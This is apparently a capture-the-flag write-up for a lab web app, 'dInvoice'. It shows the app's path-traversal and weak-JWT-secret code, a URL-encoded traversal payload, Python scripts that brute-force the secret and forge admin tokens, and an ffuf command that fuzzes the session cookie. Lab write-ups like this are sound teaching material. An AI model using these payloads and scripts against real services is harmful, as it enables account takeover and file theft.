Difficulty: Medium
Description:
Our newest web service, “dInvoice”, needs an inspection from you to unveil any critical vulnerabilities it might have that can lead to the compromise of the admin account!
Challenge:
This was one of the more interesting challenges from the Fall Huddle. There were several possible solutions, but we only managed to find two unintended ones. The intended solution, I believe, was to use the Server-Side Cross-Site Scripting (SSXSS) vulnerability to read the JWT secret and forge an admin cookie. Unfortunately, I couldn’t get the SSXSS to achieve this. While I was able to read files within the app directory, that was the limit. The first solution our team discovered was a directory traversal vulnerability in the file path where user markdown files are stored. The second unintended solution exploited how the JWT secret was generated — it was a random integer that could easily be brute-forced.
Vulnerable Code (Path Traversal):
index.js:
The invoice parameter is directly used in the file path without proper validation or sanitization.
1
2
3
4
5
6
7
8
9
10
11
12
router.get('/invoice/markdown/:invoice', AuthMiddleware, (req, res) => {
const { invoice } = req.params;
try {
mdContent = fs.readFileSync(`/app/static/user_files/markdown/${invoice}`).toString();
return res.json({content: mdContent});
}
catch (e) {
res.send(response('Invoice not found!'));
}
});
Vulnerable Code (Weak JWT Secret):
entrypoint.sh
The JWT secret is generated using the $RANDOM variable, which produces a predictable 16-bit integer between 0 and 32,767. This makes the secret weak and susceptible to brute force attacks, as the possible values for $RANDOM are limited and can be easily enumerated.
1
2
# Generate JWT Secret
export JWT_SECRET=$(echo -n $RANDOM | md5sum | head -c 32)
Solution (Path Traversal):
This one is pretty straight forward. We can use a URL-encoded path traversal payload to retrieve the flag from the root directory.
http://127.0.0.1:1337/invoice/markdown/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2Fflag
And we get the flag:
Solution (Weak JWT Secret):
The second solution involved brute forcing the JWT secret to get a valid Json Web Token for the Admin user. I created a couple scripts to achieve this solution (more like ChatGPT did, i just modified some stuff). We know the JWT SECRET is generated using the $RANDOM variable, meaning there are only 32,768 possible token values.
Part 1: Generated the list of possible JWT secrets. Stored in wordlist: md5_wordlist.txt.
$python3 generateMD5s.py
import hashlib
# Define the range of $RANDOM values
random_range = range(32768)
# Open the wordlist file to save the MD5 hashes
with open("md5_wordlist.txt", "w") as wordlist_file:
for rand_value in random_range:
# Generate MD5 hash for the current $RANDOM value
md5_hash = hashlib.md5(str(rand_value).encode()).hexdigest()[:32]
# Write the hash to the wordlist
wordlist_file.write(md5_hash + "\n")
print("MD5 wordlist generated successfully and saved as 'md5_wordlist.txt'.")
Part 2: Generated a list of possible JWTs for the admin using the list of MD5 hashes.
$Python3 generateJWTs.py md5_wordlist.txt
import jwt
import time
import sys
# Function to generate JWT using the given secret
def generate_jwt(secret):
# JWT payload with 'admin' and current time (iat)
payload = {
'username': 'admin',
'iat': int(time.time()) # Current time as iat claim
}
# Generate the JWT using HS256 algorithm
return jwt.encode(payload, secret, algorithm='HS256')
# Check if the wordlist file was provided
if len(sys.argv) != 2:
print("Usage: python generate_jwt_wordlist.py <md5_wordlist>")
sys.exit(1)
# Open the MD5 wordlist (hashes)
wordlist_file = sys.argv[1]
jwt_wordlist = "jwt_wordlist.txt"
# Open the new JWT wordlist file for writing
with open(jwt_wordlist, "w") as jwt_file:
with open(wordlist_file, "r") as hashes_file:
for secret in hashes_file:
secret = secret.strip() # Remove any trailing newlines
jwt_token = generate_jwt(secret)
# Write the generated JWT to the new wordlist
jwt_file.write(jwt_token + "\n")
print(f"JWT wordlist generated and saved as '{jwt_wordlist}'.")
Part 3: Fuzz for the valid JWT using FFUF.
Notice were fuzzing the dashbaord endpoint here because it will just redirect us to the admin panel if admin==true.
1
ffuf -w jwt_wordlist.txt -u http://127.0.0.1:1337/dashboard -H "Cookie: connect.sid=s%3AWUS4k4gfRYeSPmCM82JmtZJ-MpKfaCMl.O2yTw8lEsoyTVqQlgtPhqSsYW%2FFZvWz3nJvSLMg8FJE; session=FUZZ" -mc all -fs 29
With that JWT, I was able to login as an admin and obtain the flag: